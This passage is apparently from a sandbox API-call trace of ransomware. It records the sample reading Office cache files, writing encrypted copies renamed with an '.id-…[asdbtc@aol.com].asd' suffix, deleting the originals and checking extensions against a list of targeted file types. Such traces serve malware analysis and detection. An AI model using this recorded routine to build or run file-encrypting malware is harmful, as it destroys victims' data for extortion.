(lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0053.838] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.838] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.838] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0053.839] GetLastError () returned 0x0 [0053.839] ReadFile (in: hFile=0x190, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0x80760, lpOverlapped=0x0) returned 1 [0053.857] WriteFile (in: hFile=0x214, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0x80770, lpOverlapped=0x0) returned 1 [0053.884] ReadFile (in: hFile=0x190, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0053.884] WriteFile (in: hFile=0x214, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0xea, lpOverlapped=0x0) returned 1 [0053.884] SetEndOfFile (hFile=0x214) returned 1 [0053.885] CloseHandle (hObject=0x214) returned 1 [0053.885] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0053.885] SetEndOfFile (hFile=0x190) returned 1 [0054.478] CloseHandle (hObject=0x190) returned 1 [0054.632] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0054.670] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0054.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.671] lstrlenW (lpString=".doc") returned 4 [0054.671] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.671] lstrlenW (lpString=".docx") returned 5 [0054.671] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.671] lstrlenW (lpString=".pdf") returned 4 [0054.671] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.671] lstrlenW (lpString=".xls") returned 4 [0054.671] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.671] lstrlenW (lpString=".xlsx") returned 5 [0054.671] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.671] lstrlenW (lpString=".ppt") returned 4 [0054.671] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.671] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.671] lstrlenW (lpString=".zip") returned 4 [0054.671] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.671] lstrlenW (lpString=".rar") returned 4 [0054.671] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.671] lstrlenW (lpString=".bz2") returned 4 [0054.671] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.672] lstrlenW (lpString=".7z") returned 3 [0054.672] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.672] lstrlenW (lpString=".dbf") returned 4 [0054.672] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.672] lstrlenW (lpString=".1cd") returned 4 [0054.672] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.672] lstrlenW (lpString=".jpg") returned 4 [0054.672] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.672] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.672] lstrlenW (lpString=".doc") returned 4 [0054.672] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.672] lstrlenW (lpString=".docx") returned 5 [0054.672] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.672] lstrlenW (lpString=".pdf") returned 4 [0054.672] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.672] lstrlenW (lpString=".xls") returned 4 [0054.672] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.672] lstrlenW (lpString=".xlsx") returned 5 [0054.672] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.672] lstrlenW (lpString=".ppt") returned 4 [0054.672] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.673] lstrlenW (lpString=".zip") returned 4 [0054.673] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.673] lstrlenW (lpString=".rar") returned 4 [0054.673] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.673] lstrlenW (lpString=".bz2") returned 4 [0054.673] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.673] lstrlenW (lpString=".7z") returned 3 [0054.673] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.673] lstrlenW (lpString=".dbf") returned 4 [0054.673] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.673] lstrlenW (lpString=".1cd") returned 4 [0054.673] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.673] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.673] lstrlenW (lpString=".jpg") returned 4 [0054.673] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.673] lstrcmpiW (lpString1=".cab", lpString2=".asd") returned 1 [0054.673] lstrlenW (lpString="OfficeLR.cab") returned 12 [0054.673] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.674] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=14127746) returned 1 [0054.674] CloseHandle (hObject=0x204) returned 1 [0054.674] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab")) returned 0x2020 [0054.674] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0054.674] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[asdbtc@aol.com].asd")) returned 1 [0054.675] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0054.675] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0x0) returned 1 [0054.675] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.675] ReadFile (in: hFile=0x204, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.679] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.680] ReadFile (in: hFile=0x204, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.684] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.685] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x303fc2c | out: lpNewFilePointer=0x0) returned 1 [0054.685] ReadFile (in: hFile=0x204, lpBuffer=0x3c10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c10058*, lpNumberOfBytesRead=0x303fc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.706] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.706] WriteFile (in: hFile=0x204, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x303fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0055.014] SetEndOfFile (hFile=0x204) returned 1 [0055.014] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x40000) returned 0x3f53fe8 [0055.016] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.016] WriteFile (in: hFile=0x204, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.017] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.017] WriteFile (in: hFile=0x204, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.018] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xd39282, lpNewFilePointer=0x0, dwMoveMethod=0x303fc7c | out: lpNewFilePointer=0x0) returned 1 [0055.018] WriteFile (in: hFile=0x204, lpBuffer=0x3f53fe8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f53fe8*, lpNumberOfBytesWritten=0x303fc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.021] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3f53fe8 | out: hHeap=0x510000) returned 1 [0055.021] CloseHandle (hObject=0x204) returned 1 [0055.021] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0055.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.021] lstrlenW (lpString=".doc") returned 4 [0055.021] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0055.021] lstrlenW (lpString=".docx") returned 5 [0055.021] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0055.021] lstrlenW (lpString=".pdf") returned 4 [0055.021] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0055.022] lstrlenW (lpString=".xls") returned 4 [0055.022] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0055.022] lstrlenW (lpString=".xlsx") returned 5 [0055.022] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0055.022] lstrlenW (lpString=".ppt") returned 4 [0055.022] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0055.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.022] lstrlenW (lpString=".zip") returned 4 [0055.022] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0055.022] lstrlenW (lpString=".rar") returned 4 [0055.022] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0055.022] lstrlenW (lpString=".bz2") returned 4 [0055.022] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0055.022] lstrlenW (lpString=".7z") returned 3 [0055.022] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0055.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.022] lstrlenW (lpString=".dbf") returned 4 [0055.022] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0055.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.022] lstrlenW (lpString=".1cd") returned 4 [0055.022] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0055.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.022] lstrlenW (lpString=".jpg") returned 4 [0055.022] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0055.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.022] lstrlenW (lpString=".doc") returned 4 [0055.022] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0055.022] lstrlenW (lpString=".docx") returned 5 [0055.022] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0055.022] lstrlenW (lpString=".pdf") returned 4 [0055.023] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0055.023] lstrlenW (lpString=".xls") returned 4 [0055.023] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0055.023] lstrlenW (lpString=".xlsx") returned 5 [0055.023] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0055.023] lstrlenW (lpString=".ppt") returned 4 [0055.023] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0055.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.023] lstrlenW (lpString=".zip") returned 4 [0055.023] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0055.023] lstrlenW (lpString=".rar") returned 4 [0055.023] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0055.023] lstrlenW (lpString=".bz2") returned 4 [0055.023] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0055.023] lstrlenW (lpString=".7z") returned 3 [0055.023] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0055.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.023] lstrlenW (lpString=".dbf") returned 4 [0055.023] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0055.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.023] lstrlenW (lpString=".1cd") returned 4 [0055.023] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0055.023] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab") returned 75 [0055.023] lstrlenW (lpString=".jpg") returned 4 [0055.023] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0055.023] lstrcmpiW (lpString1=".dll", lpString2=".asd") returned 1 [0055.023] lstrlenW (lpString="osetupui.dll") returned 12 [0055.023] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.024] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x303ff1c | out: lpFileSize=0x303ff1c*=191872) returned 1 [0055.024] CloseHandle (hObject=0x204) returned 1 [0055.024] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 0x2020 [0055.024] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0055.024] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.024] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.024] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.024] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0055.025] GetLastError () returned 0x0 [0055.025] ReadFile (in: hFile=0x204, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0x2ed80, lpOverlapped=0x0) returned 1 [0055.098] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x2ed90, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0x2ed90, lpOverlapped=0x0) returned 1 [0055.103] ReadFile (in: hFile=0x204, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x303fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.103] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x303fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x303fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.103] SetEndOfFile (hFile=0x1e8) returned 1 [0055.103] CloseHandle (hObject=0x1e8) returned 1 [0055.103] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.103] SetEndOfFile (hFile=0x204) returned 1 [0055.105] CloseHandle (hObject=0x204) returned 1 [0055.105] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0055.106] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\osetupui.dll")) returned 1 [0055.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.106] lstrlenW (lpString=".doc") returned 4 [0055.106] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.106] lstrlenW (lpString=".docx") returned 5 [0055.106] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0055.106] lstrlenW (lpString=".pdf") returned 4 [0055.106] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.106] lstrlenW (lpString=".xls") returned 4 [0055.106] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.106] lstrlenW (lpString=".xlsx") returned 5 [0055.106] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0055.106] lstrlenW (lpString=".ppt") returned 4 [0055.106] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.106] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.106] lstrlenW (lpString=".zip") returned 4 [0055.106] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.106] lstrlenW (lpString=".rar") returned 4 [0055.107] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.107] lstrlenW (lpString=".bz2") returned 4 [0055.446] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.446] lstrlenW (lpString=".7z") returned 3 [0055.446] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.446] lstrlenW (lpString=".dbf") returned 4 [0055.446] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.446] lstrlenW (lpString=".1cd") returned 4 [0055.446] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.446] lstrlenW (lpString=".jpg") returned 4 [0055.446] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.446] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.446] lstrlenW (lpString=".doc") returned 4 [0055.446] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.446] lstrlenW (lpString=".docx") returned 5 [0055.446] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0055.446] lstrlenW (lpString=".pdf") returned 4 [0055.446] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.447] lstrlenW (lpString=".xls") returned 4 [0055.447] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.447] lstrlenW (lpString=".xlsx") returned 5 [0055.447] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0055.447] lstrlenW (lpString=".ppt") returned 4 [0055.447] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.447] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll") returned 75 [0055.447] lstrlenW (lpString=".zip") returned 4 [0055.447] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.447] lstrlenW (lpString=".rar") returned 4 [0055.447] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.447] lstrlenW (lpString=".bz2") returned 4 [0055.447] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.447] lstrlenW (lpString=".7z") returned 3 [0055.447] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.447] lstrlenW 